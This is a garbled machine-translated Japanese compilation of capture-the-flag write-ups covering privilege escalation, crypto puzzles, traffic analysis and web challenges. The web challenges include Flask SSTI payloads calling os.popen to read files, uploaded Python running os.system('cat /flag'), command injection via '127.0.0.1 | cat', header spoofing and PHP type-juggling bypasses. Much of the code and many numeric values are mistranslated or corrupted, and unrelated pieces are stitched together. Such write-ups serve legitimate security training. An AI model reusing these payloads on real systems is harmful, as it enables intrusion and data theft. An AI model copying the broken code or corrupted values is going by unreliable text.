6.権利を引き上げるためにExpを実行します

./exp

vjyq11pyf559107.jpg

gfffcqlzvsk9108.jpg

0x05脆弱性修正

現在、明確なパッチアップグレード計画はありません。リスクを評価した後、カーネルパラメーターを変更して、ユーザーが通常のユーザーをBPF(2)システム呼び出しの使用を制限することを一時的に推奨します。

echo 1/proc/sys/kernel/unprivileged_bpf_disabled

1。 JSコード分析のコーディング変換

writeup:open index.htmlscript src='script-min.js'/scrip //最初の呼び出し.jsスクリプトタイプ='text/javascript' var ic=false; #デフォルトIC値はfalse var fg=''です。 function getFlag(){//関数関数のgetfflagボタンは、対応するイベントvar token=document.getElementById( 'sectoken')。valueをトリガーします。 //#テキスト入力ボックスの値を割り当ててくださいtoken ic=checktoken(token); //checktoken(token)関数を呼び出して、チェックして割り当てます。関数パッケージにはFG=BM(トークン)が含まれています。 //function checktoken(token)を呼び出してshowflag()を割り当てますvar f=document.getElementById( 'flag'); t.innertext=! ic? 「あなたは下の旗を手に入れました!」 : '間違って!'; T.ClassName=! IC? 'rightflag' : '間違ったフラグ'; f.innertext=fg; }/script/head body h1flag in your hand/h1 ptype in goot flag./p ptips:フラグは手にあります。 onclick='getflag()'//p2。ボタンをクリックするとGetFlag機能がトリガーされることは明らかです。デフォルトでfalseになります。 CheckToken(トークン)関数を呼び出すため、CheckToken関数が重要なポイントであることを意味します。1049983-20210116190641610-327204732.png3。 Checktoken関数を開き、コンテンツを表示します。フラグが偽のトークン1049983-20210116190642196-1239862292.png4である可能性があります。ただし、入力後、エラーを依然としてプロンプトするため、FG=BM(トークン)のみがあります。このコードには問題があります。1049983-20210116190642761-818150915.png5。 ICを直接検索します。つまり、ICはこの側で偽りになっている必要があります。1049983-20210116190643295-127675380.png6。左側のアイコンの下のブレークポイントをクリックし、ボタンをクリックして、それを正常に壊しました。関数パラメーターsが入力した変数であり、sの長さをAと比較し、sの値を使用して3とaの値を差し引くことがわかりました。問題がない場合は、trueを返してください。したがって、trueを返すsを逆に推定するだけです。ソリューションコードは次のとおりです:a=[118、104、102、120、117、108、119、124、48、123、101、120]

S=''

A:のIの場合

s +=chr(i -3)

印刷

1049983-20210116190643778-1376094959.png8。トークンボックス1049983-20210116190644283-660183141.png9にSecurity-XBUを入力します。最後に、flag:renibyd8fgg5hawvqm7tdq

2。 Base64キーボードパスワードのエンコード

writetup:1を取得します。ファイルを開いた後、2つのヘックス文字列636A56355279427363446C4A49454A7154534230526D6843 564445A31614342354E326C4B49466667A5742696969614530672。 Hexadecimal stringをasciihttp://www.ab126.com/goju/1711.html 1049983-20210116190644833-1148949002.png get:cjv5rybscdljiejqtsb0rmhcvdz1Acb5n2lkiffzwia0g3。 base64:1049983-20210116190645986-89071016.png get:r5yg lp9i bjm tfhb t6uh y7ij qsz bhm4。 4文字ごとにスペースがあることを確認し、キーボードを見て、キーボードのパスワードであることがわかります。つまり、キーボードの文字を囲む数文字です。たとえば、r5ygはt、lp9iはoを囲まれています。キャラクターの各グループに囲まれたキャラクターを見つけて、フラグを形成してください。 (プレフィックスを追加する必要はありません)5。GET:R5YG-T、LP9I-O、BJM-N、TFHB-G、T6UH-Y、Y7IJ-U、QSZ-A、BHM-N6。最後に、flag:tongyuan

3。産業用フローパッケージ分析

writeup:1。トラフィックパケットを開き、ARP、UDP、SNAプロトコルに関するトラフィックパケットがあり、図に示すように大量のUDPトラフィックがあることを見つけます:1049983-20210116190646894-14432056.png 1049983-20210116190647403-33300728.png2。まず、UDPトラフィックパケットを分析し、長さのUDPトラフィックパケットが多数あることを発見し、総長さが表示されていることがわかります。 1回しか表示されないパケット。1049983-20210116190647894-1525626995.png3。ここでは、UDPストリームトラッキングが12の長さで実行され、疑わしい文字が見つかりました1049983-20210116190648614-263546795.png

4.文字列666C61677B37466F4D3253746B6865507A7Dを抽出し、対応するACIIコードhttp://WWW.AB126.com/goju/1711.html 1049983-20210116190649365-668088756.png 5。

iv。テキストの通常の大文字

1。添付ファイルをダウンロードした後、私はそれが大きなテキストであることがわかりました。テキストを慎重に観察した後、私はテキストに故意に大胆になっている大文字がたくさんあることがわかりました。

1049983-20210116190649976-606127678.png

2。首都を除外します

catf590c0f99c014b01a5ab8b611b46c57c.txt | grep-o '[a-z]' | tr-d '\ n'ここ:

GREP -Oは一致する文字列TR -Dを表示するだけで表示されます。指定された文字1049983-20210116190650668-734421655.png3。フィルタリングされた文字を取得:ゼロネゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロネズONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZE ROONEONEONEONEZEROONEZEROONEZERONEZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZERONEZEROZEREONEONEZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZERONEZERONEZERONEZERONEONE4。記事のすべての大文字を抽出し、ゼロと1つで構成される文字列を取得します。ゼロを番号0に、1つを番号1に置き換えて、表現されたバイナリ数を取得し、この数値を文字列に変換します。

010000100100100101010100100110100001101010100010010011110110110100000101010110010010010011010111110011 0001011011100101111111110000011011000011010010010010001011011100101111001101010011001001001101110011001101111101

5。オンラインバイナリへの文字列:

http://www.txttool.com/wenben_binarystr.asp

1049983-20210116190651285-1781803721.jpg6.pythonスクリプト取得

#coding:UTF-8-from string Import Emptercase

crypto.util.Number inmort long_to_bytesから

def solve():

f:#data.txtとしてopen( 'data.txt'、 'r')が上でフィルタリングされた大文字です

data=f.read()

cip=''

データ:のCの場合

cpercase:のcの場合

CIP+=c

cip=cip.replace( 'zero'、 '0')

cip=cip.replace( 'one'、 '1')

long_to_bytesを返す(long(cip、2))

__NAME __=='__ Main __' :の場合

Solve()1049983-20210116190652418-619045835.pngを印刷します

7. flagを取得:bitsctf {h1d3_1n_pl41n_5173}

v。 RSA復号化

質問説明:ファディはあなたが新人だと思っていて、彼が投稿したものを見ることを恐れていませんでした。彼は平易なテキストで彼の友人に以下を送りました: P=0xA6055EC186DE51800DDD6FCBF0192384FF42D707A55F57AF4FCFB0D1DC7BD9 7055E8275CD4B78EC63C5D592F567C66393A061324AA2E6A8D8FC2A910CBEE1ED9 Q=0xFA0F9463EA0A93B929C099320D31C277E0B0DBC65B189ED76124F5A1218F5D 91FD0102A4C8DE11F28BE5E4D0AE91AB319F4537E97ED74BC663E972A4A9119307 E=0x6D1FDAB4CE3217B3FC32C9ED480A31D067FD57D93A9AB52B472DC393AB785 2FBCB11ABBEBFD6AAAE8032DB1316DC22D3F7C3D631E24DF13EF23D3B381A1C3E 04ABCC745D402EE3A031AC2718FAE63B240837B4F657F29CA4702DA9AF22A3A01 9D68904A969DDB01BCF941DF70AF042F4FAE5CBEB9C2151B324F387E525094C41 C=0x7FE1A4F743675D1987D25D38111FAE0F78BBEA6852CBA5BEDA47DB76D119A3EFE24CB04B9449F53BECD43B0B46E269826A83F832832832BBB53555555555555555555555555555555555555555555555555555555555555555555553 8344ED5C20F51E2686D24C76050C1E73647523BD5F91D9B6AD3E86BBF912658 8B1DEE21E6997372E36C3E74284734748891829665086E0DC523ED23C386BB520彼は私たちの復号化能力Writeup:を真剣に過小評価していました

1。質問の16進数を小数点に変換します。

https://tool.lu/hexconvert/

P=86952241150363555850657119739296036271134788610181138168484331081777772517 240308721981280176995392696427341397469232176120700610749965333026113898553049

Q=13096749823995628078930936161926731369550833801075399550861609999067145714985 0288846976369829603845838414249722038514443535111987497145134804975486079751

E=76629781387397242643116709874317578271441392556392807529834168670310153073 520143866486739942179138155817821866364881591859652274493031187833628624358994 867175044572336498295631763539498171499977327643558191037055959594639570436120 59621114897322707756573946764130942694529006537681147498322988959999999989800641

C=8980138944356956995739840695470759849276392341856853603032354608827875836233104 3197364379101176970325948359029005820403943674808298008972319252338074527838935 803140427806463333626149336724945854865041439061149411962509247624419480 036048744062822136093417043390251690152562280292002226433430028828280630082。スクリプトを使用してRSAのM値を取得します

#コーディング=utf-8

gmpy2をインポートします

crypto.util.Numberインポートから *

gmpy2からIrootをインポートし、反転します

P=86952241150363555850657119739296036271134788610181138168484331081777772517 240308721981280176995392696427341397469232176120700610749965333026113898553049

Q=13096749823995628078930936161926731369550833801075399550861609999067145714985 0288846976369829603845838414249722038514443535111987497145134804975486079751

E=76629781387397242643116709874317578271441392556392807529834168670310153073 520143866486739942179138155817821866364881591859652274493031187833628624358994 867175044572336498295631763539498171499977327643558191037055959594639570436120 59621114897322707756573946764130942694529006537681147498322988959999999989800641

c=8980138944356956995739840695470759849276392341856853603032354608827875836233104311936363791011777777777777 697032594835902900582040394367480829800897231925233807452783893580314042780646333313626149333333333333333333333333

質問名:simple_ssti_2質問wirteup:は疑問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスします。ページは、URL接続をFLAGパラメーターhttp://114.67.246.176:19131/1049983-20211215170753560-1742163934.pngに関連付けます。 SSTIコンストラクト、パラメーターコンストラクトフラグ={{3+2}}、エラーが報告されており、Flaskhttp://114.67.246.176:19131/?flag={{3+2}} 1049983-20211215170753973-1147925365.pngも{1049983-20211215170753973-1147925365.png {3*2を掲載している}を構築するために試行されました。システムにSSTIの脆弱性があることhttp://114.67.246.176:19131/?flag={{3*2}} 1049983-20211215170754373-1942425992.png構成変数を介してフラスコの構成情報を表示すると、利用可能な点はありません。 http://114.67.246.176336019131/?flag={{config}} 1049983-20211215170754937-1633019011.png pass {{config .__ class __.__ init __.__グローバル__ ['os']。表示するには1つずつ入力してください。私が見た最初のアプリフォルダーには、Flag ## __ Class__:変数が属するクラスを表示するために使用されることがわかりました。以前の変数フォームによると、それが属するクラスを取得できます。 ## __ init_ __クラスの初期化、返されたタイプは関数です## __グローバル__ []使用法は関数名です。__Globals__Globals__モジュール、メソッド、および関数が配置されている空間で使用できるすべての変数を取得します。 ## os.popen()メソッドは、コマンドからパイプラインを開くために使用されます。

## open()メソッドはファイルを開き、ファイルオブジェクトhttp://114.67.246.176:19131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./です。1049983-20211215170755329-1298923557.pngby {{config .__ class __.__ init __.__ Globals __ ['os']。popen( 'ls ./app')。read()}}アプリディレクトリのファイルを読み取り、フラグファイルがあることを見つけますhttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./app%27)。 config .__クラス__ .__ init __.__グローバル__ ['os']。popen( 'cat ./app/flag')。read()}} flag contenthttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27cat%20 ./app/app%27) flag:flag {fcf301ac393f22215b3664d749c2d875e}タイトル名:flask_fileupload question witeup:3http://114.67.246.176:12896/JPGおよびPNGファイル名フォーマットをアップロードすることができ、ファイルコンテンツはPython View-Source:33http://114.67.246.176:12896/1049983-20211215170756809-381737825.pngSystem機能が操作を命令に変換することができます。原則は、各システム関数が実行されると、システム上のコマンドラインを実行するための子プロセスを作成し、子プロセスの実行結果がメインプロセスに影響を与えることができないということです。 OS.SystemメソッドはOSモジュールの最も基本的な方法であり、他の方法は一般にこの方法に基づいてカプセル化されています。ここで、PythonのOSパッケージのシステム関数を使用してフラグを読み取ります。ここで、test.jpgをアップロードします。これは、WebサイトルートディレクトリインポートOSを読み取ります

os.system( 'ls /')

正常にアップロードし、ソースコードを確認し、システムWebサイトのルートディレクトリが存在することを見つけ、ルートディレクトリにフラグファイルが含まれていることがわかります

1049983-20211215170757165-1220690341.png 1049983-20211215170757525-1275849476.pngフラグを表示

OSをインポートします

os.system( 'cat /flag')

正常にアップロードし、ソースコードを確認し、フラグコンテンツ1049983-20211215170757927-2024492077.pngfinally flag:flag {e541f3aadc95575ed6b6832b7ca34e327}質問名:計算機質問コンテンツ:emply cublish cublect writefification you shine other other cultions chanios get to emoling need exigate need emain fist necisit need fish firtingフラグを取得するためのコード、F12要素のレビューに合格し、ソースコードにcode.js3333333334.67.246.1763:16139/1049983-20211215170758514-1404340057.pngView code.js、JS、FALGコンテンツ3http://114.67.246.176:1139/JS/js 1049983-20211215170758956-219692258.pngついにflag:flag {e5d6e3fe29850f7fec9ea6ef55f86050}質問名:質問コンテンツ:flag {}質問wirteup3360は質問シーンを開始し、射撃範囲のウェブサイトを取得します。 http://114.67.246.176:13678/1049983-20211215170759310-817204845.pngは、単純なコード監査を実行し、HTTPに渡すことを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。what=flag、flaghttp://114.67.246.176:13678/?what=flag 1049983-20211215170759684-1193150402.pngFLAG:FLAG {54790DBA4001F7DED2EBDE88CA82A3CAの質問:POSTS POSTES:POST POSTES:POST POSTES:シナリオ、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、PHPコードhttp://114.67.246.176:15053/1049983-20211215170800032-2036447816.pngが簡単なコード監査を実行し、HTTP投稿が渡されることを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。http://114.67.246.176:15053/post: what=flag flag 1049983-20211215170800356-892244501.png final flag:flag {4335DD4CC7627848578D8026FB121AE}

質問名:矛盾した質問の書き込み:は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、コードの簡単な分析を通じてPHPコード1049983-20211215170800678-284646805.pngであることがわかります。この関数は、変数が数字か文字列かを検出します。それが数字と文字列である場合、それはtrueを返し、それ以外の場合はfalseを返します。

このステートメントは、渡されるnumパラメーターが数値文字列ではなく、1に等しいことを意味します。

num==1の決定は2つの等しい兆候であり、弱いタイプの比較です。等記号の両側が異なる場合、比較前に同じタイプに変換されます。

弱いタイプの比較では、文字列が数字と比較されると、文字列は数字に変換され、文字の前に数値を保持します。たとえば、123AB7Cは123に変換され、AB7Cは0に変換されます(文字の前には数がありません、0です)。

http://114.67.246.176336016671/?num=1a

1049983-20211215170801086-1113500528.pngFINALLY FLAG:FLAG {D95C4676FD2740A47E0393CF3364E3E3 Windowhttp://114.67.246.176:15743/1049983-20211215170801469-1858378092.pngソースコードを介してアクセスし、Webページソースコードをチェックし、コメント1049983-20211215170801984-383310401.pngで#から#から#から始まる#から始まるユニコードエンコードがあることを発見しました。 http://tool.chinaz.com/tools/unicode.aspx 1049983-20211215170802645-1444347535.pngpinally flag:flag {09EEC7218F68C04C87093052720C2C11}写真1049983-20211215170803098-1838834946.pngページのソースコードをチェックして、フラグが見つかりませんでしたが、ページ1049983-20211215170803493-840973381.pngがブプセットを介してパケットを登録し、最終的に応答ページのフラグコンテンツを繰り返し送信し、最終的にデータパケットを送信し、最終的にデータパケットを送信し続けるSciptスクリプトがあります。 flag:flag {ff9acfa3bbec16fe29b3ad5aef8f5421}質問名:ソーシャルワーカー - 質問コンテンツの予備収集:実際にはその他のアイテムです。その年の実際的な質問から、私は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、それがドリルブラッシングWebサイトhttp://114.67.246.176:13506/#GOUMAI 1049983-20211215170804488-2120220421.jpgカタログスカンがYujianを介したターゲット射撃の範囲であることがわかりました。1049983-20211215170805031-1221335115.png Admin Directoryにアクセスし、実際にバックエンドがありました。 http://114.67.246.176336013506/admin/login.php 1049983-20211215170805472-324520940.png射撃場のホームページの下部にある場合、補助をダウンロードできます。ここでダウンロードできます。

image-20210531172109605

減圧後、仮想マシンで掘削プログラムを実行します。

image-20210531172614314

QQとパスワードを入力し、[開始]をクリックし、Wrisharkを使用してパケットを分析した後、ポップアップウィンドウを見つけました。

image-20210531173000092

パケットを慎重に観察すると、パケットメールとBase64暗号化されたパスがあることがわかります。

image-20210531173328676

base64の復号化はパスワードのように見えますが、長すぎますが、コードを承認したいと考えています。

image-20210531173713476

FOXMAILを開いてログインし、メールアドレスを入力してから、認証コードを入力してログインします。

image-20210531181535352

受信トレイを表示し、「トピック」でソートし、利用可能な情報が記載されたメールを見つけます

送信者がマラであることがわかります

配達時間は2021年で、今は20歳で、2001年に生まれると判断されることができます

また、それは2日前の誕生日だったと言われているので、誕生日は2月6日だと判断することができます

image-20210531174014354

ログインして入力してみてください:ユーザー名マラ、パスワードはMaryyの誕生日番号:20010206です

1049983-20211215170813635-1876128424.png

システムに正常にログインし、Webサイトの背景---プレーヤーキーのWebサイト設定を確認すると、フラグを取得できます

1049983-20211215170814122-809664510.png最後に、flag:flag {c4cba16a2fd5aedf2dddd90a6bd04f}質問名:game1質問wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup:撮影ウェブサイトを入手し、ウェブサイトにアクセスして、最高のスコアを取得することができます。ここでどのゲームもプレイできます。 http://114.67.246.176336017941/?s=1629731758384 1049983-20211215170814602-1834873374.jpgそして、ゲームが終了する前に、それはブプスーツによって分析され、結果はソースの3つのパラメーターの値に関連していることがわかりました。 http://114.67.246.176336017941/scor.php?score=50ip=183.221.17.223Sign=Zmnta===

1。バックアップファイルを見つけます

1.カタログスキャンPython3 dirsearch.py.py -u http://10.10.10.175:32770 -E * 1049983-20211215170057534-650528967.png2。最後にindex.php.bkバックアップファイルを取得し、ダウンロードしてソースコードを表示すると、フラグ1049983-20211215170057989-505716932.pngflag:cyberpeace {855a1c4b3401294cb6604cccc98bde334} 010-10-101010101010101010101010101010101010101010101010101010101010101010情報が含まれています:cookie:look-here=cookie.php 1049983-20211215170058517-1421600508.jpg2。次に、URL:http://220.249.52.13:41440/cookie.phpにアクセスし、テキストプロンプトを表示するHTTP応答を参照してください。 URL http://220.249.52.13:41440/cookie.phpにリクエストを行い、応答パッケージを表示すると、フラグ情報を確認できます。1049983-20211215170059435-989103080.jpg4。最終フラグは、cyberpeace {71de0ba3c98781d7f78c4af6e5b684be}です。

3。Blag1ボタンの下に隠されています。 URLを開き、http://220.249.52.13:52359/、ボタンを見つけて、それを使用することはできません。現時点では、F12を通じて要素レビューが実行されます。1049983-20211215170059954-2088850839.png2。 delete Disabled=''を削除し、[ボタン]をクリックしてフラグ1049983-20211215170100415-1654119941.png3を取得します。最終フラグは、cyberpeace {e61ed8f7f37f036a89f6d3c5622bb8e9} 4です。 URLを開き:http://220.249.52.1:35249/1049983-20211215170100829-1887407123.png

2。ユーザー名管理者123456を入力すると、システムにログインしてフラグ1049983-20211215170101199-1177629901.png3を取得できます。最終フラグは、CyberPeace {A136364C15E239B4F32B99D2D23E42CE} 3です。単純なファイルには、フラグを取得するための監査が含まれています

show_source(__ file__);

include( 'config.php'); $ a=@$ _ get ['a']; $ b=@$ _ get ['b'];

if($ a==0and $ a){

echo $ flag1;

}

if(is_numeric($ b)){

出口();

}

if($ b1234){

echo $ flag2;

}?このPHPコードの意味は、getメソッドを介してaとbの値を取得し、$ a==0と$ aがtrueの場合、flag1を取得します。Bが整数または数値文字列の場合、出口、$ b1234の場合、flag2を取得します。

基本知識:( PHPの弱いタイプの比較をマスター)PHP :の2つの比較記号

==:最初に文字列タイプを同じに変換し、次に比較します

===:最初に2つの文字列のタイプが等しいかどうかを判断し、次に比較します

==を使用すると、文字列は数値型に変換され、比較されます。

var_dump( 'a'==0); //true、この時点で、a stringの先頭に数値が見つからないため、a stringタイプは数に変換されます。

var_dump( '123a'==123); //true、here '123a'は123に変換されます

var_dump( 'a123'==123); //false、文字列の開始部分がその値を決定するというPHPに規定があるためです。文字列が法律番号で始まる場合、数は連続した最後の数字で終了するために使用されます。そうしないと、全体の値は比較すると0になります。

var_dump( 'root'==0);

var_dump( '22r22oot'==22); //true、最初に文字列22r222ootを0と同じ数値に変換します。文字列には法的価値があるため、継続的な法的価値が必要になります。 22==22なので、それは本当です。

var_dump( 'root22'==0); //true、最初に文字列root22を0と同じ数値に変換します。文字列には最初は法的値がないため、文字列root22は0に変換され、最後に0==0に変換されるため、真です。

var_dump( '0E170'=='0E180'); //true、文字列にはeで始まる値が含まれているため、PHPコードはそれを科学的表記全体と見なします。最後の0は170==0の電力に対するものです180のパワー、つまり0==0なので、それは真です

var_dump(0==='root'); //fals、===比較すると、最初に両側のタイプが等しいかどうかを判断します。値と文字列タイプは明らかに異なるため、有効ではありません

var_dump ('0e830400451993494058024219903391'=='0e830400451993494058024219904444');//true, first convert the strings 0e830400451993494058024219903391 and 0e830400451993494058024219904444それぞれ数値タイプに。両方の文字列は最初は法的価値を持っているため、文字列0E830400451993494058024219904444は0に変換され、最後に0==0に変換されるため、事実です。

var_dump( '123.a1bc'==123); //truevar_dump( '123.2abc'==123); //falsevar_dump( '123e2abc'==123); //falsevar_dump( '123ea1bc'==123);連続した数字が含まれている場合。 EまたはEは、文字列と数の比較を妨げます。浮動小数点数を表します。 EとEは科学的表記を表します。文字列にこれらが含まれている限り、上記の比較は、文字列の最初の部分を理想的に実装してその値を決定することはできません。文字列が法的値で始まる場合、この値を使用します。そうでなければ、その値は01です。ページを開き、コード監査を実施し、flag1が表示されると$ a==0と$ aの両方が満たされていることがわかります。

2。PHPの弱いタイプの比較は、「ABC」==0を真であるため、A=Cを入力すると、図に示すようにFLAG1を取得できます。 (ABCは任意の文字に置き換えることができます)。

http://220.249.52.13:53517/index.php?a=abc

1049983-20211215170101643-315455064.png

3。IS_NUMERIC()関数は、それが数値文字列である場合、それが真で返され、それ以外の場合は偽りに戻り、PHPの弱いタイプの比較が比較されると、(「1234a」==1234)が真であると判断します。

a=abcb=1235aを入力すると、図に示すようにflag2を取得できます。

http://220.249.52.13:53517/index.php?a=abcb=12345f 1049983-20211215170102071-1962272509.png iv。 Post and Get Methodのflag1。 GETメソッドを構築して、http://220.249.52.133:48752/index.php?a=1 1049983-20211215170102517-946010692.png2。次に、ページのプロンプトに従って、Firefox、B=2のプラグインハックバーを介して投稿データを送信すると、フラグ1049983-20211215170102943-902220472.png5。httpヘッダー擬似バイパス制限アクセスアクセスを取得してフラグの基本知識を取得できます。

通常、HTTPヘッダーのX-forwarded-forフィールドを直接変更して、リクエストの最終的なアイレファーをコピーすることができます。 XFFと同様に、参照者も直接変更できます。

1. URL http://220.249.52.1:54968/を開き、プロンプトは1049983-20211215170103370-1185501819.pngにアクセスするために123.123.123.123のソースIPでなければなりません

2。パケットをつかむことにより、HTTPヘッダーにXFFフォード要求ヘッダー、X-For:123.123.123.123を追加してから、応答ページが含まれていることを確認する必要があります。ここに追加する必要があります3:https://www.google.com、そしてフラグを取得するためにアクセス1049983-20211215170104376-1167881881.jpg 1049983-20211215170104882-786954979.jpg最終的にflag:cyberpeace {f116fe3f881eef96edaaf3159a3131f8159a313131f81596

6。フラグの基本知識を取得するリモートコマンド実行: command1 command2 Windowsまたはlinux execute command1の下で、最初に実行してから、command2を実行します。 command1 | command2のみcommand2が実行されます。 command1 command2 execute command2を最初に実行し、次にcommand1を実行します。 command1 || command2 first execute command1。 FALSEの場合は、command21を実行します。 IPアドレスを入力してください。ここから127.0.0.1に最適です。エコーが発生した場合、コマンド実行1049983-20211215170105335-577894253.png2があります。コマンドを追加することにより:127.0.0.1 | /-name flag.txtをバックドアに検索すると、ディレクトリは /home/flag.txt 1049983-20211215170106547-144880352.png3です。コマンド127.0.0.1 |を使用しますflag.txt 1049983-20211215170107317-1460684479.pngのflagを表示するcat /home/flag.txtは、flag:cyberpeace {400F6C86F9DD25994AFB930D13CC28B8}を取得しました。

JSコードがフラグを取得して環境に入ると、パスワード入力が発生した後、パスワードを何気なく入力し、コード監査のためにOK 1049983-20211215170107922-30229197.pngをクリックして、何が入力されても、偽のパスワードにジャンプすることがわかりました。実際のパスワードは、Charcodeからの実行プロセスにあります。

1.最初に、deChiffreの機能を定義します。まだ呼ばれていないので、気にしないでください

注:最初に変換します\ x35 \ x35 \ x2c \ x35 \ x36 \ x2c \ x35 \ x34 \ x2c \ x37 \ x39 \ x2c \ x31 \ x31 \ x35 \ x2c \ x36 \ x39 \ x2c \ x31 \ x31 \ x34 \ x2c \ x31 \ x34 \ x2c \ x31 \ x31 \ x36 \ x2c \ x31 \ x30文字列への16進数、Python、またはURLで印刷:https://www.bejson.com/convert/ox2str/

1049983-20211215170108328-2071575663.png 1049983-20211215170109515-1076038597.png出力結果55、56、54、79、115、69、114、116、107、49、50

2。decute string ['from charcode'](deChiffre('55、56,54,79,115,69,114,116,107,49,50)

'));

3. DeChiffreを呼び出し、DeChiffre関数を実行します

string ['fromcharcode'](deChiffre('55、56,54,79,115,69,114,116,107,49,50

'));

(1)最初、'55、56,54,79,115,69,114,116,107,49,50

'deChiffre関数を導入して実行します

')

(2)その後、パス変数が表示され、今のところそれを入れます

(3)pass_enc='55、56,54,79,115,69,114,116,107,49,50 '

pass_enc文字列を文字列配列に分割し、タブパラメーターに割り当てます。

TAB=[55,56,54,79,115,69,114,116,107,49,50]注:TABは現時点では文字列配列です!

(3)その後のパスセグメンテーションもその後です

Tab2=[70,65,85,88,32,80,65,83,83,87,82,68,32,72,65,72,65]

(4)変数割り当てコード分析:var i、j、k、l=0、m、n、o、p=''; i=0; j=tab.length;

最初は、I、j、k、m、n、o、割り当てがなく、未定義であり、他のパラメーターl=0、p=''、後でIが割り当てられ、jは11に割り当てられます

(5)この時点で、nは0に割り当てられているため、k=11+0+0に割り当てられ、最終的に等しい11注:ここ(l)は英語の文字lであり、ナンバー1ではありません

(6)10行目、n=18

(7)ループの最初の場合、コードを簡素化します。

for(i=0; i(18); i ++)

{o=tab [i-l]; p +=string.fromCharcode((o=tab2 [i]));

if(i==5)break;}

説明:前のo=tab [i-1]は役に立たない。これは、o=tab2 [i]の値によって再オーバーされるためです。

最初のループ:o=tab [0]; p=p+string.fromcharcode((o=tab2 [0])

=o=70; p=''+string.fromcharcode(70)=p=英語文字f

二度目.

三度目.

4回目.

5回目.

したがって、ループのこれの最後のPは(ここで知っている限り出力はありませんが)

(8)ループの2番目、コードを簡素化します。

for(i=0; i 18; i ++){

o=tab [i-l];

if(i 5 i 17)

p +=string.fromCharcode((o=tab2 [i]));

}

説明:ここのループの場合は、上記に似ています。ここでのP値は、最初のループが実行された後、今では偽物になることに注意してください。

ループの最初のp値を追加すると、最後のpはフェイクパスワードですhah

(9)P +=String.FromCharcode(Tab2 [17]);

Tab2=[70,65,85,88,32,80,65,83,83,87,82,68,32,72,65,72,65]

したがって、P=フェイクパスワードhah + a

したがって、最後のpはフェイクパスワードハハです

(10)pass=p;リターンパス;

つまり、pass=fauxパスワードhaha;フェイクパスワードを返しますハハ;

最後の関数出力はフェイクパスワードハハです

3。デコヒフル関数が実行された後、他のコードを実行し続けます。

h=window.prompt( 'パスワードを入力');

アラート(deChiffre(h));

H=ポップアップボックスに入力するコンテンツ

その後、DeChiffre(H)の価値がポップアップします。以前のすべてのコードから、コード内のPの値はタブとは何の関係もないことがわかります。最終的にはTab2の値に置き換えられるためです。したがって、入力は何であろうと、Pass_enc=h、入力hの等しいものに関係なく、タブを文字列配列に分割できるかどうか、または存在するかどうかに関係なく、Tab2のみを使用します。素人の用語では、タブのパラメーターと値の両方がなしと見なすことができるため、Pass_encパラメーターが何であるかは意味がありません。

4.最後に、結論は、ポップアップボックスにどのような価値を入力しても、偽のパスワードを返すだけであるということです

私はただ推測するだけですstring ['fromcharcode'](deChiffre( '\ x35 \ x35 \ x2c \ x35 \ x36 \ x2c \ x35 \ x34 \ x2c \ x37 \ x39 \ x2c \ x31 \ x31 \ x35 \ x2c \ x39 \ x39 \ x39 \ x2c \ x31 \ x31 \ x31 \ x34 \ x2c \ x36 \ x39 \ x2c \ x31 \ x31 \ x34 \ x2c \ x 31 \ x31 \ x36 \ x2c \ x31 \ x30 \ x37 \ x2c \ x34 \ x39 \ x2c \ x35 \ x30 '));この構文は間違っており、計算されていない最後の正しい値は正しい値ではありません。つまり、フラグ〜

したがって、Pass_encパラメーターへの入力に関係なく、Fauxパスワードの機能が表示されるように使用しません。また、私たちはそれを放棄し、コードを書き直し、自分で実行します。

!doctype html

HTML

メタcharset='utf-8'

/頭

スクリプト

var n=string.fromCharcode(55,56,54,79,115,69,114,116,107,49,50);

document.write(n);

/スクリプト

/体

/HTML

最終結果は次のとおりです:786osertk12

Pythonスクリプトを介してヘキサデシマルをASICエンコードに変換します

a=[55,56

1。Base16復号化

質問名:base64÷4質問添付ファイル:https://adworld.xctf.org.cn/media/task/attachments/C8CB2B557B57475D8EC1EDED36E819AC4D.TXT質問WRITEUP3360

1。質問のタイトルによると、推測はbase162です。オンラインBase16:https://www.qxiuzi.cn/bianma/base.php?type=16 1049983-20210806171351360-1912523458.png3を復号化することで入手できます。復号化スクリプト:Base64のインポート

S='666C61677B453333423746444384133423834314341393639394544444444241323442363041417D' '

flag=base64.b16decode(s)

印刷フラグ1049983-20210806171351783-386848167.png4。最後にflag:flag {e33b7fd8a3b841ca9699eddba24b60aa}

2。 Modbus Industrial Agreement Traffic Package Analysis

